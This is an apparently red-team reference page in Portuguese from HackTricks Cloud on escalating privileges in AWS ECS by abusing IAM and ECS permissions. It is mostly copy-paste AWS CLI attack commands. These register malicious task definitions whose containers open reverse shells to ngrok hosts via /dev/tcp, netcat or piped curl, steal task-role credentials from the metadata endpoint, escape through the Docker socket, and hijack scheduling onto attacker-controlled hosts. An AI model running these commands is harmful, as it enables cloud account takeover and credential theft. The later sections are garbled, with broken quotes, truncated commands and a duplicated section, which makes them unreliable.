AWS - ECS Privesc
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
ECS
Mais informaçÔes sobre ECS em:
iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask
Um atacante que abusa da permissĂŁo iam:PassRole, ecs:RegisterTaskDefinition e ecs:RunTask no ECS pode gerar uma nova task definition com um container malicioso que rouba as credenciais de metadata e executĂĄ-la.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Impacto Potencial: Privesc direto para um ECS role diferente.
iam:PassRole,ecs:RunTask
Um atacante que possui permissÔes iam:PassRole e ecs:RunTask pode iniciar uma nova task ECS com os valores de execution role, task role e command do container modificados. O comando CLI ecs run-task contém a flag --overrides, que permite alterar em tempo de execução o executionRoleArn, taskRoleArn e o command do container sem tocar na task definition.
As IAM roles especificadas para taskRoleArn e executionRoleArn devem confiar/permitir que sejam assumidas por ecs-tasks.amazonaws.com em sua trust policy.
Além disso, o atacante precisa saber:
- ECS cluster name
- VPC Subnet
- Security group (Se nenhum security group for especificado, o padrĂŁo serĂĄ usado)
- Task Definition Name and revision
- Name of the Container
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
No trecho de código acima o atacante sobrescreve apenas o valor taskRoleArn. No entanto, o atacante deve ter a permissão iam:PassRole sobre o taskRoleArn especificado no comando e o executionRoleArn especificado na task definition para que o ataque aconteça.
Se a IAM role que o atacante pode passar tiver privilégios suficientes para pull da imagem do ECR e iniciar a task do ECS (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer,ecr:BatchGetImage,ecr:GetAuthorizationToken) então o atacante pode especificar a mesma IAM role para ambos executionRoleArn e taskRoleArn no comando ecs run-task.
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
Impacto Potencial: Privesc direto para qualquer ECS task role.
iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask
Assim como no exemplo anterior, um atacante que abusar das permissÔes iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask no ECS pode gerar uma nova task definition com um container malicioso que rouba as metadata credentials e executå-la.
No entanto, neste caso, Ă© necessĂĄrio que haja uma container instance para executar a task definition maliciosa.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Impacto potencial: privesc direto para qualquer role do ECS.
iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)
Assim como no exemplo anterior, um atacante que abuse das permissÔes iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService ou ecs:CreateService no ECS pode gerar uma nova task definition com um container malicioso que rouba as metadata credentials e executå-la criando um novo service com pelo menos 1 task em execução.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
Impacto Potencial: Privesc direto para qualquer ECS role.
iam:PassRole, (ecs:UpdateService|ecs:CreateService)
Na verdade, apenas com essas permissĂ”es Ă© possĂvel usar overrides para executar comandos arbitrĂĄrios em um container com um role arbitrĂĄrio com algo como:
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
Impacto Potencial: Privesc direto para qualquer role do ECS.
ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
Este cenĂĄrio Ă© como os anteriores mas sem a permissĂŁo iam:PassRole.
Ainda assim Ă© interessante porque, se vocĂȘ conseguir executar um container arbitrĂĄrio, mesmo sem um role, vocĂȘ poderia executar um container privilegiado para escapar para o nĂł e roubar o EC2 IAM role e os outros roles de containers do ECS rodando no nĂł.
VocĂȘ poderia atĂ© forçar outras tasks a serem executadas dentro da instĂąncia EC2 que vocĂȘ comprometer para roubar suas credenciais (como discutido na Privesc to node section).
Warning
Este ataque sĂł Ă© possĂvel se o ECS cluster estiver usando instĂąncias EC2 e nĂŁo Fargate.
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json
printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json
aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2
# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
Um atacante com as permissĂ”es ecs:ExecuteCommand, ecs:DescribeTasks pode executar comandos dentro de um container em execução e exfiltrar a IAM role anexada a ele (vocĂȘ precisa das permissĂ”es de describe porque Ă© necessĂĄrio executar aws ecs execute-command).
No entanto, para fazer isso, a container instance precisa estar executando o ExecuteCommand agent (que por padrĂŁo nĂŁo estĂĄ).
Portanto, o atacante poderia tentar:
- Tentar executar um comando em todos os containers em execução
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo " Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done
# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
- Se ele tiver
ecs:RunTask, execute uma task comaws ecs run-task --enable-execute-command [...] - Se ele tiver
ecs:StartTask, execute uma task comaws ecs start-task --enable-execute-command [...] - Se ele tiver
ecs:CreateService, crie um service comaws ecs create-service --enable-execute-command [...] - Se ele tiver
ecs:UpdateService, atualize um service comaws ecs update-service --enable-execute-command [...]
VocĂȘ pode encontrar exemplos dessas opçÔes nas seçÔes anteriores de privesc do ECS.
Impacto Potencial: Privesc para um role diferente associado aos containers.
ssm:StartSession
Veja na ssm privesc page como vocĂȘ pode abusar dessa permissĂŁo para privesc para ECS:
iam:PassRole, ec2:RunInstances
Veja na ec2 privesc page como vocĂȘ pode abusar dessas permissĂ”es para privesc para ECS:
ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole
Um atacante com essas permissÔes poderia potencialmente registrar uma instùncia EC2 em um cluster ECS e executar tasks nela. Isso poderia permitir que o atacante execute código arbitrårio no contexto das tasks do ECS.
- TODO: Ă possĂvel registrar uma instĂąncia de uma conta AWS diferente para que as tasks sejam executadas em mĂĄquinas controladas pelo atacante??
ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets
Note
TODO: Testar isto
Um atacante com as permissÔes ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet e ecs:DescribeTaskSets pode criar um task set malicioso para um serviço ECS existente e atualizar o primary task set. Isso permite que o atacante execute código arbitrårio dentro do serviço.
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json
aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Impacto Potencial: Executar cĂłdigo arbitrĂĄrio no serviço afetado, potencialmente impactando sua funcionalidade ou exfiltrando dados sensĂveis.
ReferĂȘncias
Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
Um atacante com permissĂ”es para gerenciar ECS capacity providers e atualizar serviços pode criar um EC2 Auto Scaling Group que ele controla, envolvĂȘ-lo em um ECS Capacity Provider, associĂĄ-lo ao cluster alvo e migrar um serviço da vĂtima para usar esse provider. As tasks serĂŁo entĂŁo agendadas em instĂąncias EC2 controladas pelo atacante, permitindo acesso a nĂvel de SO para inspecionar containers e roubar credenciais de task role.
Commands (us-east-1):
-
Pré-requisitos
-
Criar Launch Template para o ECS agent entrar no cluster alvo
-
Criar Auto Scaling Group
-
Criar Capacity Provider a partir do ASG
-
Associar o Capacity Provider ao cluster (opcionalmente como padrĂŁo)
-
Migrar um serviço para o seu provider
-
Verificar se as tasks sĂŁo executadas nas instĂąncias do atacante
-
Opcional: a partir do nĂł EC2, docker exec nos containers alvo e ler http://169.254.170.2 para obter as credenciais do task role.
-
Limpeza
Impacto Potencial: NĂłs EC2 controlados pelo atacante recebem as tasks da vĂtima, habilitando acesso a nĂvel de SO aos containers e roubo das credenciais do IAM task role.
Comandos passo a passo (copiar/colar)
export AWS_DEFAULT_REGION=us-east-1 CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster # Instance profile for ECS nodes aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || trueVPC=vpc-18e6ac62 SUBNETS=
AMI=ami-0b570770164588ab4 USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo= LT_ID=
ASG_ARN=
CP_NAME=htcp-8797 aws ecs create-capacity-provider âname âauto-scaling-group-provider âautoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLEDâ aws ecs put-cluster-capacity-providers âcluster ââ âcapacity-providers âdefault-capacity-provider-strategy capacityProvider=,weight=1
SVC=
Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service âcluster ââ âservice ââ âcapacity-provider-strategy capacityProvider=,weight=1 âforce-new-deployment
TASK= CI= aws ecs describe-container-instances âcluster ââ âcontainer-instances ââ âquery containerInstances[0].ec2InstanceId âoutput text
Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
Abusar do ECS Anywhere para registrar um host controlado pelo atacante como uma EXTERNAL container instance em um cluster ECS da vĂtima e executar tasks nesse host usando task e execution roles privilegiadas. Isso concede controle a nĂvel de SO sobre onde as tasks sĂŁo executadas (sua prĂłpria mĂĄquina) e permite o roubo de credenciais/dados das tasks e volumes anexados sem mexer em capacity providers ou ASGs.
-
PermissĂ”es requeridas (exemplo mĂnimo):
-
ecs:CreateCluster (opcional), ecs:RegisterTaskDefinition, ecs:StartTask ou ecs:RunTask
-
ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
-
iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (para a ECS Anywhere instance role e task/execution roles)
-
logs:CreateLogGroup/Stream, logs:PutLogEvents (se estiver usando awslogs)
-
Impacto: Executar containers arbitrĂĄrios com um taskRoleArn escolhido no host do atacante; exfiltrar credenciais do task-role de 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; acessar quaisquer volumes montados pelas tasks; mais furtivo do que manipular capacity providers/ASGs.
Passos
- Criar/identificar cluster (us-east-1)
aws ecs create-cluster --cluster-name ht-ecs-anywhere
- Criar role do ECS Anywhere e ativação do SSM (para instùncia on-prem/EXTERNAL)
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
- Provisionar attacker host e registĂĄ-lo automaticamente como EXTERNAL (exemplo: small AL2 EC2 como âonâpremâ)
user-data.sh
```bash #!/bin/bash set -euxo pipefail amazon-linux-extras enable docker || true yum install -y docker curl jq systemctl enable --now docker curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" chmod +x /root/ecs-anywhere-install.sh /root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 ```task def (EXTERNAL launch)
cat > td-external.json << âJSONâ
{
âfamilyâ: âht-externalâ,
ârequiresCompatibilitiesâ: [ âEXTERNALâ ],
ânetworkModeâ: âbridgeâ,
âmemoryâ: â256â,
âcpuâ: â128â,
âexecutionRoleArnâ: âarn:aws:iam::
âcontainer-instances $CI
6) A partir daqui vocĂȘ controla o host que executa as tasks. VocĂȘ pode ler task logs (se awslogs) ou executar diretamente no host para exfiltrar credenciais/dados das suas tasks.
#### Exemplo de comando (placeholders)
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
Um atacante com permissĂ”es para gerenciar ECS capacity providers e atualizar services pode criar um EC2 Auto Scaling Group que ele controla, envolvĂȘ-lo em um ECS Capacity Provider, associĂĄ-lo ao cluster alvo e migrar um serviço vĂtima para usar esse provider. As tasks serĂŁo entĂŁo agendadas em instĂąncias EC2 controladas pelo atacante, permitindo acesso a nĂvel de SO para inspecionar containers e roubo das task role credentials.
Comandos (us-east-1):
- Pré-requisitos
- Criar Launch Template para o ECS agent se juntar ao cluster alvo
- Criar Auto Scaling Group
- Criar Capacity Provider a partir do ASG
- Associar o Capacity Provider ao cluster (opcionalmente como padrĂŁo)
- Migrar um service para o seu provider
- Verificar se as tasks sĂŁo iniciadas nas instĂąncias do atacante
- Opcional: a partir do nĂł EC2, docker exec nos containers alvo e leia http://169.254.170.2 para obter as task role credentials.
- Cleanup
**Impacto Potencial:** InstĂąncias EC2 controladas pelo atacante recebem tasks de vĂtimas, permitindo acesso a nĂvel de SO aos containers e roubo das task IAM role credentials.
> [!TIP]
> Aprenda e pratique Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprenda e pratique Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
>
> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
> - **Junte-se ao** đŹ [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositĂłrios do github.
>
> </details>
HackTricks Cloud

